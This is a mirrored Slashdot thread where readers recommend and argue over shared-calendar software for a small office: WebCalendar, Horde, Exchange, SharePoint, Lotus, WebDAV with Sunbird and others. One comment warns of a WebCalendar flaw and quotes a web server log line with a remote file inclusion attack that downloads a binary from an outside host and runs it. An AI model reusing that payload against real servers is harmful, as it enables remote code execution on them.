Slashdot Mirror


How To (Really) Share A Simple Calendar?

Lucas asks: "I run a small business as one of the people who 'knows something about computers', which now means, like many of you, I find myself having to solve IT problems. We have been trying to share maybe three simple, stupid calendars. Here's the catch -- we need to able to edit each other's calendars! This is where the problem comes in. We tried Mozilla Calendar/Sunbird with a WebDAV server (even though it deleted two calendars upon upload and barfed on a third, my office loves Sunbird's interface), OfficeZilla (too complicated for just one calendar), Calendars.net (too slow), ACT! (bolted on and expensive), and Yahoo (not designed for corporate stuff). Even iCal won't let you edit someone else's calendar. Is there any way to do this -reliably- without using MS Exchange and without spending a ton of money?"

118 comments

  1. webcalendar by haydenth · · Score: 4, Informative

    I use (and love)webcalendar.

    --
    - tom -
    1. Re:webcalendar by Ethan+Butterfield · · Score: 3, Insightful

      I also use and love Webcalendar. It is quick to set up, and its only real needs are PHP and a MySQL backend. Viewing other people's calendars is easily set up via Layers, and any user with Admin rights can edit other people's calendars. I brought it in about a year and a half ago for the consulting business I work for. We've got 6 people regularly using it and it hasn't choked on us yet.

    2. Re:webcalendar by chill · · Score: 3, Insightful

      I'll have to second this one.

      I set up WebCalendar for a financial services organization. They have 150+ users spread around the country and WebCalendar is accessed as a plug-in to Squirrelmail. We mandate SSL/TLS connections and it performs wonderfully.

      When I left the new techies wanted to replace it with Exchange/Outlook/OWA and were flat out told "no way in Hell" by management. The killer sticking point was the ability to overlay calendars -- something Outlook just can't do. (Side-by-side just is not the same.)

        -Charles

      --
      Learning HOW to think is more important than learning WHAT to think.
    3. Re:webcalendar by B00yah · · Score: 4, Informative

      Be careful. I ran in to an issue with web calendar 1.0.1, where someone used a php vulnerability built in to the reminder function to upload and execute remote software.

      212.138.47.24 - - [29/Aug/2005:14:01:50 -0500] "GET /calendar/tools/send_reminders.php?includedir=http ://aimbig.co.kr/readme/img/.nd1.dat?&cmd=cd%20/tmp ;wget%20http://www.fullteam.net/xpl/r0nin;chmod%20 777%20r0nin;./r0nin HTTP/1.0" 200 17169 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)"

    4. Re:webcalendar by stan_freedom · · Score: 1

      Another vote for webcalendar. I installed it several years ago for our small company of 25 people. Because it is open-source, I was able to easily integrate it into our homegrown PHP-based contact management system. This allows our 15 sales people to develop detailed customer contact schedules where they can drill down from the calendar to the company/contact. Because the backend is a simple MySQL DB, I was able to quickly write a simple cron-based script that sends people a jabber pop-up reminder when calendar events occur.

    5. Re:webcalendar by lanswitch · · Score: 1

      Was your software up-to-date at that time? If not, it's your own fault.

    6. Re:webcalendar by B00yah · · Score: 2, Informative

      as i said, I was using 1.0.1, which is their most current release.

    7. Re:webcalendar by Taral · · Score: 2, Informative

      That looks a lot like the bug that 1.0.1 was supposed to fix...

      --
      Taral

      WARN_(accel)("msg null; should hang here to be win compatible\n");
      -- WINE source code

    8. Re:webcalendar by Anonymous Coward · · Score: 0

      Considering it uses the PHP-toy language and the MySQL-toy database, it is indeed surprising that it can take the full load of six OSS-wankers at once.

  2. Kerio MailServer by johnjones · · Score: 4, Informative

    there are many ways of doing what you want

    you can use webserver with a web calendar or various custom applications depending on how you work

    Or

    You could use Kerio Mail server this allows multiple people access to a calendar i.e. a shared calendar for the web and Microsoft Outlook

    see Kerio MailServer

    regards

    John Jones

    discalimer I work for Kerio

    1. Re:Kerio MailServer by MattPF · · Score: 1

      We've been using Kerio Mailserver for the past three years and can attest to its ability to replace Exchange for the small business. However you will deal with various bugs and glitches with each subsequent update. Many users are driven nuts to the point of abandoning the software altogether. We're a bit more laid back and just ride the waves. See the Kerio support forums for examples of users whining about bugs: http://forums.kerio.com/index.php?t=thread&frm_id= 6&S=c06e654315411d4660894fcfe8dd8f12

  3. A test to destruction... by davecb · · Score: 4, Insightful
    An academic colleague (Hi, Paul!) once said that managing a team's calendars was a test to destruction of most artificial intelligence systems.

    I expect it's hard even when you get to use human intelligence.

    --dave

    --
    davecb@spamcop.net
  4. MS does have things that are worth the money by manual_overide · · Score: 1, Interesting

    Congratulations, you've found THE killer app for Outlook/Exchange. Seriously, it is probably the best out there right now. Also, unless your company is a startup with no venture capital, spend the money on a 2003 server and exchange. If your company won't spend money on it, I'd consider leaving/running away as soon as possible. As much as people on /. preach software religion, in the corporate environment, if you don't use the best tools you can get, you are a moron. I'll repeat that. IF YOU DON'T USE THE BEST TOOLS YOU CAN GET, YOU ARE A MORON! Outlook/Exchange happens to be the best tool right now. Software is not a religion, and Linux/OSS is not always the best solution (OMG!!) Just because you don't agree with MS's business practices doesn't mean everyone in your company (most importantly your boss) agrees with you.

    Also, if you are even thinking about using something that's not from Red Hat or Novell, STOP. Don't trust anything that was just "written by some guy". No one else in the business world does, and neither should you.

    In summary, just buy Exchange you cheap-ass!

    --
    If bad puns were like deli meat, this would be the wurst
    1. Re:MS does have things that are worth the money by ttfkam · · Score: 2, Informative

      How the parent post could be seen as "Redundant," I will never know. It doesn't detract from the fact that it's completely right.

      Open source E-mail app? Done in spades. Web browser? Plenty to choose from. Calendaring app? None worth mentioning. Calendering with e-mail?

      Outlook did this how many years ago? It's getting close to ten years, isn't it? The closest thing I've seen to it is Gnome Evolution, and they were just blatently copied the UI of Outlook.

      So if you're on Linux/BSD, use Evolution. If you're on Windows, until the planned Thunderbird/Sunfire merger, you're SOL; Outlook/Exchange is your only viable option.

      --

      - I don't need to go outside, my CRT tan'll do me just fine.
    2. Re:MS does have things that are worth the money by unitron · · Score: 1, Insightful
      " How the parent post could be seen as "Redundant," I will never know."

      Same way you got yours. Mods with grudges or axes to grind and no compunction against gaming the system. Jerks.

      --

      I see even classic Slashdot is now pretty much unusable on dial up anymore.

    3. Re:MS does have things that are worth the money by thegrassyknowl · · Score: 4, Insightful

      IF YOU DON'T USE THE BEST TOOLS YOU CAN GET, YOU ARE A MORON! Outlook/Exchange happens to be the best tool right now.

      I must be a MORON!!! I use OpenBSD and Linux exclusively and I can't use Outlook/Exchange. I'm not prepared to run my Internet-facing mail server on Exchange (you need mail abilities to use the calendar to its full potential). Putting a M$ product on the greater Internet says more about how moronic you are than not using the best tool for the job.

      There are dozens of great tools for simple calendaring. Did you look at Hoarde (http://www.hoarde.org? I bet you didn't. Hoarde have a whole suite of PHP-based groupware applications from Webmail to calendaring to practically anything else you can think of.

      Why would you want a bloated, arbitrarily limited, buggy Exchange program running on a fundamentally flawed OS when you can have a PHP-based application running in any webserver you can make PHP work in (usually Apache, but others exist) on any OS that can run the webserver (OpenBSD is my choice for server OS, Linux might float your boat). Sure, there's no client-side application and it's all web based, but the Outlook program leaves a lot to be desired anyway. If it wasn't mandated here by some manager to use Outlook I'd be using a real client without even thinking about it.

      Think twice before you start calling people morons. OSS might not be the answer to everything, but if you're using other OSS tools the suggesting that a MS tool is the way to go is just being stupid. How do you propose that I get Outlook clients running in a Linux-only shop? The web client for Exchange hides most of the functions that make the groupware in Exchange so "great".

      --
      I drink to make other people interesting!
    4. Re:MS does have things that are worth the money by jrockway · · Score: 4, Informative

      M-x calendar serves all of my team's calendaring needs. Check the plain text file into and out of CVS and you have distributed calendaring with revision control.

      Oh, but that doesn't cost hundreds of thousands of dollars or have a shiny GUI. Boo fucking hoo. Fuck Windows, and fuck Microsoft.

      --
      My other car is first.
    5. Re:MS does have things that are worth the money by schotty · · Score: 2, Informative

      Actually, you wont need to setup Exchange to actually handle mail, but just the calendar part. Thats what I have done to get around the lack of any usable calendar solutions.

      I am not sure how other email clients aside from Evolution operate with exchange servers, but Evolution makes people happy and is a decent package.

      --
      Sigs are nice guns ...
    6. Re:MS does have things that are worth the money by bofkentucky · · Score: 2, Informative

      That's HORDE you've got to do the legwork of setting up your LAMP (Postgress and IIS also supposedly work, YMMV) server up correctly, but the apps themsleves are powerful and easy to use.

      --
      09f911029d74e35bd84156c5635688c0
    7. Re:MS does have things that are worth the money by thegrassyknowl · · Score: 0

      I am not sure how other email clients aside from Evolution operate with exchange servers, but Evolution makes people happy and is a decent package.

      Evolution is OK, but it uses the OWA package of Exchange. As I said, the web access component hides (or makes complex) a lot of the features that make Exchange/Outlook worth even using.

      --
      I drink to make other people interesting!
    8. Re:MS does have things that are worth the money by ttfkam · · Score: 2, Insightful

      And for the coworkers that aren't well versed with the concept of revision control let alone actually using it?

      A real life solution needs to be usable by anyone, not just those that recognize that M-x is an Emacs-ism.

      Your solution has a horrible UI, but it *will* cost thousands of dollars more than Outlook/Exchange. Why? Because training people to use your system is more expensive than an Exchange license.

      You want to fuck Microsoft? Write a real competitor to Outlook that regular folks can use (or help out with the Thunderbird/Sunfire integration). Anything else is a waste of breath.

      --

      - I don't need to go outside, my CRT tan'll do me just fine.
    9. Re:MS does have things that are worth the money by quantum+bit · · Score: 2, Interesting

      Congratulations, you've found THE killer app for Outlook/Exchange. Seriously, it is probably the best out there right now.

      Maybe, maybe not. One thing Outlook/Exchange doesn't seem to be good at is scheduling for small close-knit groups (i.e. a small 4-5 person department that needs to coordinate a lot of things). Switching back and forth is inefficient, a shared calendar in a public folder can make it hard to figure out whose appointments are whose and reminders don't work, using meeting requests for everything is overkill, and the new "Group Schedules" in Outlook 2003 is a joke.

      It would be nice if Outlook had a layered calendar view like KOrganizer does.

    10. Re:MS does have things that are worth the money by swmccracken · · Score: 1

      Yeah -- Outlook isn't perfect but it's better than any OSS stuff. (Personally, I couldn't *stand* using a website for my calendar! Besdies, how does that synch with my phone?)

      I quite agree with your points. There is a unsupported team calendar add-in to Outlook - it queries a number of calendars and then fakes up calendar view.

      It works.. but there's a reason it's unsupported. It's free though.

    11. Re:MS does have things that are worth the money by Anonymous Coward · · Score: 0

      Parent wrote:
      >scheduling for small close-knit groups (i.e. a small 4-5 person department that needs to coordinate a lot of things)

      First of all, close-nit groups don't need programs to do scheduling for them. If there are only 4-5 people, just ask them all when they're free (If there's no common time, then you've got "personnel problems" that no calendar program could hope to solve). Once common times are established, vote for a scheduler if you're all peers (otherwise just the highest (or lowest) ranking person will probably be the scheduler). If you're a REALLY close-nit group, just appoint a nearby whiteboard or such as the leader.

      If you want to schedule something for the group, call the leader or peek over the cube and ask if there's anything scheduled yet. If not, claim it and send a mail. If nobody shoots back 'I forgot I have to pick up my kid at 3:30 today', then you're golden. If you want to create a more formal process, you could ask everybody to report conflicts with the standard meeting as soon as they learn of them. That way if you know at 9am that your kid has to be picked up at 3:30, you don't waste everybody's time when someone decides at 3:00 to schedule a quick meeting at 3:30.

    12. Re:MS does have things that are worth the money by orasio · · Score: 1

      There _is_ a reason why people shouldn't use Exchange.

      Nowadays, if you don't go by standards, you are fucked in the near future. You don't know whether your company will want to upgrade to next mswindows version, and with exchange you don't have a migration path. At least, as there are no big standards for calendaring, you should use software that lets you retrieve the information and use it elsewhere, easily. Vendor lock-in is a risk for any company, you have the responsibility to help the company you work for to avoid that risk.

      Maybe it would be worth to spend more money, evaluating free alternatives, and after choosing one, more money to get some feature that is missing, and time, so you can have a calendar that suits your needs, and is not a possible headache for your company. Of course, you could end up spending more in the beggining than just buying exchange, and mswindows clients, but freedom is worth much more (financially).

      Note: I didn't feel very happy about the original question.
      It's not _that_ ok to come to Ask Slashdot, just to save a few bucks. Our collective "consulting" expertise is worth moch more that a few bucks. I like "Ask Slashdot"s that are about making something work, or work better than it does, or using free software, not el-cheapo software.

    13. Re:MS does have things that are worth the money by afd8856 · · Score: 1

      I've only tried the webmail, but the interface was horific. Even if I could get along with the (possibly) broken css that didn't display properly in FF, it's still a second hand app when it comes to actually working with it, in terms of workflow and features.

      --
      I'll do the stupid thing first and then you shy people follow...
    14. Re:MS does have things that are worth the money by Anonymous Coward · · Score: 0

      You know that the best tool for the job at any cost idea is bull shit. Lets say I have a tool that offers 2 dollar of benefit, but I charge 10 dollars; your net benefit is -8. Even if it is the best tool for the job, a company would be stupid to use it over a free solution that offers 1 dollar of benefit that gives you a +1 net benefit.

    15. Re:MS does have things that are worth the money by Anonymous Coward · · Score: 0
      Though I am sure you are authoritative and experienced enough to solve everyones problems, you might want to consider that not all close knit groups work in the same cubicle farm. I work in a close knit group on a project with four other people. One is in the same office and company with me, two are 25 miles away (different company), and another is 500 miles away (and commutes in regularly - also different company). This particular project isn't full-time for any of us, so we have other independent work that involves their own schedules/meetings/etc.

      If the person (and associated group) to whom you are lecturing need a program to help them schedule, not only can I understand, but I wouldn't feel the need to lecture them on how they run their projects. Your whiteboards and shouting across the room may work for your environment, but the world is bigger than you might imagine.

    16. Re:MS does have things that are worth the money by lwagner · · Score: 1
      > It's not _that_ ok to come to Ask Slashdot, just to save a few bucks.

      As you correctly recognize, Slashdotters are substantially wealthy people who should be embarrassed about asking such prole-ish questions like "how can I save money?"

      Clearly, your address at "freeservers.com" shows that you are one of these wealthy high-roller Slashdotters. We apologize for offending you.

      You are also correct in implying that Slashdotters spend their large amounts of money on whatever "everyone else is using" because the Slashdot community is extremely sparse with giving their opinions and experiences to other geeks.

      Ok, I'm just joking/kidding around... But you see what I mean. :-)

    17. Re:MS does have things that are worth the money by orasio · · Score: 1

      I live in Uruguay, I am not wealthy at all. I didn't remember I had that freeservers page though, thank you.

      What I was specifically saying is that have a problem getting any sympathy for some guy who doesn't want to do some googling, and wants to bother other people just to save a few bucks.

      I don't like it in RL when people come to me asking for my free time so they can save some bucks. I need a better motivation. For example someone who really can put the bucks they save, to a good use, like a public school or something. Or someone who wants something more, like a good technical solution. For example, I like changing proprietary software for free software, so I like to give advice to people about that. But the whole idea of helping someone out is the idea of doing something with some value, technical, ethical or whatever, not just saving some money for some guy who doesn't really care what software he is running.

    18. Re:MS does have things that are worth the money by gr8fulnded · · Score: 2, Informative

      Someone else already did the legwork...

      XAMPP... It's a prerolled LAMP server. Unzip, install, customize.

      XAMMP - LAMP


      --Dave

    19. Re:MS does have things that are worth the money by Anonymous Coward · · Score: 0

      Calendaring is the killer app for outlook/exchange? My (very, very large) employer just switched to outlook/exchange calendaring, and I must say it's been a complete disaster. I've rarely seen such an unusable application.

  5. back to basics by Anonymous Coward · · Score: 2, Insightful

    blackboard, chalk, free paper calendar, clock, bell(optional)

  6. Horde by rmm4pi8 · · Score: 5, Informative

    The best simple solution is Horde and its Kronolith calendaring application. Lets you set up shared calendars and set editing permissions. Doesn't automatically figure out when meeting times will work for everyone, but it's easy and it will do your email, tasks, and time-tracking as well. If you need any help setting it up, check the mailing lists or just email me (I worked on Horde for my Summer of Code project).

    --
    U.S. War Crimes blog. Email for free Mandriva support.
    1. Re:Horde by Directrix1 · · Score: 1

      Could you ask the Horde developers to create an area describing how to install the entire Horde system (with all modules as optional steps) in a step-by-step fashion. Its just so modular, I don't know what to do, and when.

      --
      Occam's razor is the blind faith in the natural selection of least resistance and in universal oversimplification. -- EF
    2. Re:Horde by Anonymous Coward · · Score: 0

      Horde is a brilliant application. However, the install instructions are so ridiculously confusing that you can barely install it, and when you do get it working, it has so many cosmetic glitches that you spend forever trying to figure out why, and feel uncomfortable that your incorrect install may cause a security vulnerability. The creators of Horde are apparently oblivous to this, so IMO it's better to use something else.

    3. Re:Horde by rmm4pi8 · · Score: 1

      Sorry to respond so late, but just install the framework (by dropping it into a web-accessible folder), then just drop each module in a folder inside that. It really is that simple. Then just drop the *.dist off of *.php.dist in the config files, and use the web configurator. Have any snags, email me.

      --
      U.S. War Crimes blog. Email for free Mandriva support.
  7. Wiki by dcapel · · Score: 1, Interesting

    Wikiwikiwiki!

    I'm not kidding, it would work well. :)

    --
    DYWYPI?
    1. Re:Wiki by SteveAyre · · Score: 1

      Just out of interest, how do Wikis cope if more than one user is editing a page at the same time?

      The calendar'd be edited frequently, I'm just thinking that it might be possible that it two people edit at the same time the first one to submit will lose their entry when the next one is submitted. It'll be in the history, but since it wasn't in the other person's textarea it'll disappear when they submit.

    2. Re:Wiki by ThatAdamGuy · · Score: 1

      Perhaps using a Writely page? (http://www.writely.com/

      Each page refreshes every few seconds (practically in real time), so clashes are unlikely.

      With that said, Writely's meant as a document collaboration service, not a calendar sharing service, so YMMV.

      --
      Only the truly shameless shill their blog in a Slashdot sig
    3. Re:Wiki by ggvaidya · · Score: 2, Informative

      Just about all the Wiki software I know (including MediaWiki) makes sure that doesn't happen. The way it works is:

      1. Person X starts to edit the page.
      2. Person Y starts to edit the page.
      3. Person X saves his copy.
      4. When Person Y saves his copy, he is warned that the previous content has been edited, and is presented with two textareas, containing person X's revision and person Y's new revision. He is responsible for merging his changes back into person X's revision.

      Dunno if that'll be too cumbersome for you though, if you're updating stuff too frequently ...

    4. Re:Wiki by SteveAyre · · Score: 1

      That's good, I didn't know if it had that feature in it or not (I've never attempted to edit a page at the same time as anyone else so I've not run into it).

      It still has the problem you might have to revise it, the revise it, then revise it, then revise it... if lots of people are submitting at the same time.

      I suppose whether it would work or not would depend on how many people were using it. If it was only a couple it might work well, while if it's 100 it'd probably not. Splitting the calendar into as many pages as possible might help (1 per hour or something).

    5. Re:Wiki by SteveAyre · · Score: 1

      "What can I use it for?"
      "...team calendars..."

      Might be of use. ...But I haven't downloaded it so I can't give an opinion.

    6. Re:Wiki by Anonymous Coward · · Score: 0
      Might be of use. ...But I haven't downloaded it so I can't give an opinion.

      I haven't downloaded it yet either. Unfortunately, I am unable to confirm or reject that it might be of use.

    7. Re:Wiki by SteveAyre · · Score: 1

      My post was merely to point out that their website's front page says it is for use for calendars. :P

    8. Re:Wiki by moonbender · · Score: 1

      Yes, you might have to revise it again and again, if people keep getting their changes in. Happened to me a few times on Wikipedia (running MediaWiki) when editing current topics or community pages like Articles For Deletion. On MediaWiki you wouldn't need to split the calendar into multiple pages, multiple sections which can be edited individually would do the job. It's a perfectly viable solution for small groups and light usage, not so good for large groups or very heavy usage. We determined a common time slot for a weekly meeting recently on our wiki, worked fine.

      --
      Switch back to Slashdot's D1 system.
  8. SharePoint by skwirlmaster · · Score: 3, Informative

    Well, it seems you have a windows environment, but don't want to purchase exchange. There is another tool, Windows SharePoint Services. It can be configure to have a calendar for each member. It is free, but it requires IIS 6, Win2k3, and SQL Server or the free data engine thingy.
    There is a catch, you have to use the web interface to edit the calendars. You can always set that up to open in outlook.
    We use it for an office calendar, useful!

    --
    My inner self is ineffable, so don't eff with me.
    1. Re:SharePoint by Jjeff1 · · Score: 3, Interesting

      The "free data engine thingy" is also known as MSDE, and works pretty well, but is limited to databases of less than 2 GB. You didn't say why Exchange has been ruled out. If it's for stability reasons, you're barking up the wrong tree. Exchange is pretty solid and has gotten more reliable over the years. Same with Windows. If it's a cost issue, Windows 2003 small business server is $599, which includes Exchange and Outlook 2003 and 5 CALs. If you need the hardware, you can get a cheap http://configure.us.dell.com/dellstore/config.aspx ?c=us&cs=04&kc=6W300&l=en&oc=sc430r649&s=bsd>Dell server AND 2003SBS for under 700$. You'll probably want to spring for something more fault tolerant, which could cost you 1000$. Over 5 years, you're talking about an expenditure of $20 per month. That's less than the coffee fund. You'll need to setup and maintain it, if you don't have a windows background that could prove tough for you. But there are reasons so many places stick with Exchange, shared calendars are high on the list.

    2. Re:SharePoint by WoodstockJeff · · Score: 1
      You didn't say why Exchange has been ruled out.

      Personally, I'd rule out Exchange because it would encourage the use of Outlook. Outlook can be wonderful for calendars and such, but people have a tendency to also use that pesky "mail" module.

    3. Re:SharePoint by duffbeer703 · · Score: 1

      That's why no free or competeing groupware projects are really widespread anymore... Exchange is actually pretty darn cheap and works well.

      Look at the competition... Lotus, Groupwise, etc suck ass.

      --
      Conformity is the jailer of freedom and enemy of growth. -JFK
  9. Avalon Business Systems by Johnso · · Score: 3, Informative
    My small IT office uses the Avalon Management Suite from Avalon Business Systems. It's a complete productivity suite which might be overkill for you, but it has the best group-based calendar I've ever seen.

    You can set up permissions so that you can create your own appointments, create others, or suggest others which are put into a "pending" approval queue. It's all web-based and sexy as hell.

    I'm not sure how much it costs, but you can probably get just the features you want. I can vouch that pretty much every aspect of it is great.

    --
    I'm a signature virus. Please copy me to your signature so I can replicate.
  10. I've done it with InsightServer by scumdamn · · Score: 3, Informative

    The requirements for one job I've done was that the calendar had to work with Outlook and had to basically look just like Exchange to the people in the office. I went with InsightServer running on a RedHat Linux server. it cost a lot less than Exchange and it works great. It's been running for about two years now without any problems. The only issue we've had so far is Blackberry support. Feel free to ask me any questions if you decide to go with it.

  11. You were so close by Just+Some+Guy · · Score: 5, Insightful
    First, you neglected to mention which OS(es) you're targetting, so we'll just have to guess.

    Anyway, you were on track with the WebDAV server. I use Apache 2's built-in mod_dav to host several calendars, and view/edit them with Sunbird (Windows) and Korganizer (Unix). I think your time would be better served debugging your first attempt than starting over from scratch.

    --
    Dewey, what part of this looks like authorities should be involved?
    1. Re:You were so close by alonsoac · · Score: 2, Interesting

      I did want to bother with mod_dav so what I did was setup the PUT method on Apache, which involves uploading a script that saves files when PUT by a client. So that basically allows the KOrganized to put the calendars back on the server. Then I made it ask for a password so that only authorized users would be able to get the calendar in the first place.

      Require valid-user
      AuthName "calendarios"
      AuthType Basic
      AuthUserFile /www/passwd/cal.pw

      It works perfectly. I used to use Sunbird too and worked fine, but didn't like it much.

  12. 4Team by aspjunkie · · Score: 2, Informative

    I was looking for a similar solution a few years ago and 4Team seemed to work well enough.

    http://outlook.4team.biz/

  13. This works too by tsm_sf · · Score: 3, Informative

    dotProject is pretty good. Allows you to filter the display of entries, and if you'd combine that with a few user accounts that have access to each other's stuff it'd probably do the trick.

    --
    Literalism isn't a form of humor, it's you being irritating.
  14. Brown Bear by Bastian · · Score: 1

    My college used a web-based calendar program by Brown Bear Software. It was pretty bare-bones as far as aesthetics, but wasn't lacking in features, and played fairly well with stuff like Outlook in that it supporeted import and export - no automatic synchronization, of course.

    It has a pretty good system for modifying others' calendars, setting up meetings, stuff like that.

    1. Re:Brown Bear by Creosote · · Score: 1

      Right. This is the back-end software used by Calendars.Net (which is slow, as the OP complained, because it hosts zillions of calendars).

      I'm in a department of about 20 people, several of whom are fairly technophobic, and this is the only piece of communal software I can remember intutitive enough for end users that everyone wound up using it without complaint. (You do have to have a set-up person willing to RTFM in order to choose appropriate options and customizations. But that all requires little technical skill.)

  15. No one has mentioned. by /dev/trash · · Score: 2, Informative

    Calcium

    Which runs on Windows and Linux.

  16. KISS - use notepad. by bergeron76 · · Score: 1

    Dude, keep it simple! Use

    Notep
    ad.

    (PS: _sometimes_ the paste function doesn't work right)

    --
    Don't think that a small group of dedicated individuals can't change the world. It's the only thing that ever has.
  17. WebDAV Versioning by Noksagt · · Score: 4, Informative
    We tried Mozilla Calendar/Sunbird with a WebDAV server (even though it deleted two calendars upon upload and barfed on a third, my office loves Sunbird's interface)
    I'm a huge fan of WebDAV+iCal & I suggest you try again & solve some of the problems you encountered. If needed, automatically backup your WebDAV content and/or choose a better WebDAV module. It is too bad that WebDAV doesn't have true versioning, but there are implementations which do DeltaV versioning, which would solve a lot of this.

    Also look into the fledgling CalDAV implementations & projects like Hula (server) and Chandler (client). Very recent binaries of Sunbird also sport CalDAV support.
    1. Re:WebDAV Versioning by alecthomas · · Score: 1

      Subversion has had full DAV auto versioning since version 1.2.

  18. open-xchange by gizmo_mathboy · · Score: 3, Informative

    open-xchange is ok. It isn't Exchange but then again what is? I would really, really like to find a replacement for it.

    There is a free version and a pay version.

  19. LDAP by QuietRiot · · Score: 1

    Does anything like this (calendar stuff in general) make use of LDAP backends? I imagine the authentication and ACL-like permissions would come in handy in a situation like this...

  20. Meeting Maker by Wespionage · · Score: 1

    It's been a while, but for shared calendaring we used to use Meeting Maker. It is licensed per-user, allows shared calendars, and also allows each person to assign editing privileges to their person calendar so one person can have either a single person or the entire user base in their list of allowable contributors.

    I remember it being pretty nice for cross-platform use and had a built-in web interface as well.

    1. Re:Meeting Maker by Anonymous Coward · · Score: 0

      We used Meeting Maker at my former office. It was horrible. Don't use it!

    2. Re:Meeting Maker by Anonymous Coward · · Score: 0

      While I'm sure you have your reasons for saying so, it would be helpful if you would be more specific about what the problems were so that the rest of us can make proper comparisons for ourselves.

      I have lots of issues with Lotus Notes, but unless I tell you what they are, I haven't told you much of anything useful. I may as well be telling you that I don't like the colour pink.

      My problems with Lotus Notes are -- for those who were waiting with baited breath for that bit -- are that it is flaky in a large organization, and has a high TCO stemming from the amount of support necessary to keep clients functioning.

  21. Sunbird Deletes Calanders! (But it's fixable) by zulux · · Score: 4, Informative


    When you have a WebDAV server setup and have Sunbird/Mozilla Calander setup - it will delete calendars that have zero items. Delete the last item in your calendar, and POOF, you have a zero byte .ics file. Once you begin to use your calendar, this problem goes away. But when you're just testing things it looks like a show stopper.

    --

    Moneyed corporations, non-working 'poor' and criminal prisoners are turning productive citizens into tax-slaves.

  22. Group Calendars by originaldexta · · Score: 1

    we made a custom solution, when you a enter an appointment it will flow into outlook. we did have from outlook to the custom solution however it was too buggy so was pulled. If your interested contact me

    1. Re:Group Calendars by Anonymous Coward · · Score: 0

      We are all interested! Could you give some more info, please?

  23. why not exchange by moosesocks · · Score: 3, Insightful

    why not just use exchange?

    what you're describing isn't exactly that simple, and calendaring is perhaps exchange's most touted feature among those who use it.

    and it's popular enough that it's available in some form on every platform (Evolution for *nix, Outlook for Win32, Entourage for OSX)

    I'm not a very big microsoft advocate, but it seems like you're passing up a perfectly good product based upon your bias against microsoft.

    If Sunbird was stable, or came close to matching the ease-of-use or maturity of outlook, I'd reccommend it even if outlook had the edge because of price and the fact that it's not microsoft. But the fact is that nothing comes close.

    --
    -- If you try to fail and succeed, which have you done? - Uli's moose
    1. Re:why not exchange by GreatDrok · · Score: 2, Interesting

      Interesting comment. We currently have a Windows infrastructure put in place before I arrived. It has 12 licenses and our company is about to use up the last of them. To add another user we will need to buy CALs for each of the three servers (win2003) we run, exchange, office etc etc. Surprising how this adds up. Anyway, since we intend to get bigger and we don't like having to dip into the pot every time we want to add one more user we are ditching the win2003 boxes in favour of linux servers (its OK, I've done this before so don't worry about TCO and retraining). We are moving away from Office to OpenOffice 2, I'll probably end up getting Crossover Office to allow us to retain the current 12 licenses for purposes of absolute compatibility but internally our docs will switch to OpenDocument and externally PDF. Outlook will be dropped in favour of standards complient and secure e-mail apps (Thunderbird, Apple Mail, Evolution and so on) and I have already been successfully running a test server with IMAP, OpenWebMail and WebDav along with SAMBA and it all works well. So, back to the question, why not exchange? Too expensive by far, really not crossplatform enough even though we can use Evolution from *nix it is better to have more choice and I simply don't want our Windows users running Outlook. Entourage is really nasty and like the rest of Office:mac it doesn't really sit well on the platform. Oh, and the licenses for our anti-virus and anti-spam software have a limitation on the number of users too, and the anti-spam doesn't even seem to work so that will all be replaced with clam-av and spamassassin or similar on the linux server. In the end, a switch like this is about taking control of the situation. With an MS infrastructure you have too little control and it might look cost effective at first but the expense just keeps growing.

      I'm looking at eGroupware at the moment but it seems to be a bit over the top and we will probably just stick with WebDav. In the end, the solution will work for all platforms as it will be based on open standards and so my users will be able to choose the platform that best lets them get their jobs done but I won't have a particular application or desktop forcing the whole infrastructure to come from a single manufacturer as is currently the case.

      --
      "I have the attention span of a strobe lit goldfish, please get to the point quickly!"
    2. Re:why not exchange by Deternal · · Score: 1

      Based on what? the fact that MS monopoly on desktop and office software has given Outlook/Exchange something like a 30% marketshare?

      Novell and IBM products (groupwise, notes) definitely are equally good for basic mail/calendering, and notes can do much more for collaboration if you use it properly (in fact, you can negate the need for a fileserver altogether if you want).

      You are correct in assessing that currently no equally good free alternatives exist, but alternatives DO exist.

    3. Re:why not exchange by Anonymous Coward · · Score: 0

      If I have an Exchange server at work, what are my options for accessing my calendar from home?

  24. Lotus by Deternal · · Score: 1

    Either Lotus Notes or Lotus Workplace will do that for you.

    If you only use the Lotus Notes client (ie. no domino server), and have a shared fileserver, you could make the data directories (where the notes client saves it's data) available on the fileserver. It's simple but has the problem you will not be able to use it off location. If you get domino or workplace this wont be a problem.

    With workplace the client is also available for linux btw. With notes only win32 and Mac clients are avail. though the win32 client will somewhat work in wine. Also OO.o functionality is built into workplace so you wont need to use a seperate office suite, and you'll be able to use your workplace server for filesharing too.

    For both workplace and domino the server is available for win32, solaris, linux (certified for sles and rhel) and aix.

    Of course it's not super cheap, their express offerings are supposed to help though, and if you say you are migrating from something else you'll probably even be able to get upgrade prices.

    The only downside I can remember from the trimmed express offerings was no more then 1k users, but if you need 3 calendars I'm guessing that will be a while :)

    Otherwise there would be the option of using a web based calender - this would be very simple in useability terms.

    I see a lot of people saying go exchange. There is no need, both the Novell and IBM offerings can do more and neither will lock you in.

    On win32 you might get some annoyances though - for example in MS Office 2k3 MS removed the ability to use the file -> send -> email option unless you use outlook. Atleast untill Office 2K it worked fine with everything else too.

    Anyway, having both run an exchange server and domino server, and evaluated functionality etc. on both I can't see any reason to go with exchange unless you are merging and more then 50% of the users in the merged company use exchange already.

    If you go domino be aware that some add-ons are not available on certain platforms. It seems win32 is the primary server platform for domino. AFAIK this is not the case with workplace (which is basically a special websphere appliance btw.).

    1. Re:Lotus by osssmkatz · · Score: 1

      On win32 you might get some annoyances though - for example in MS Office 2k3 MS removed the ability to use the file -> send -> email option unless you use outlook. Atleast untill Office 2K it worked fine with everything else too.

      --
      That is a blatant violation of the US DOJ Antitrust Settlement. Kindly contact your attorney-general. The point of "Set Programs and Defaults" was so that any middleware could work equally well with Microsoft programs. It is an uphill battle --Outlook isn't even listed in that control panel.

      But it is very important that you are firm on this.

      --Sam

    2. Re:Lotus by dedazo · · Score: 1
      File->Send To->Mail Recipient on Windows XP with the Mail/News application default set to Thunderbird fires up... you guessed it, Thunderbird, instead of Outlook 2003 or Outlook Express (both of which are installed on this machine).

      Stupid zealot. "contact your attorney blah blah blah" indeed.

      --
      Web2.0: I love when people Flickr my cuil and digg my boingboing until my google is reddit and I start to yahoo
    3. Re:Lotus by Deternal · · Score: 1

      Yes, when you use windows explorer it works fine, however it no longer works from within MS Office programs.
      If you by chance have MS Office installed, and have not installed MS Outlook, you will notice that the "Mail Recipient" option is grayed out.

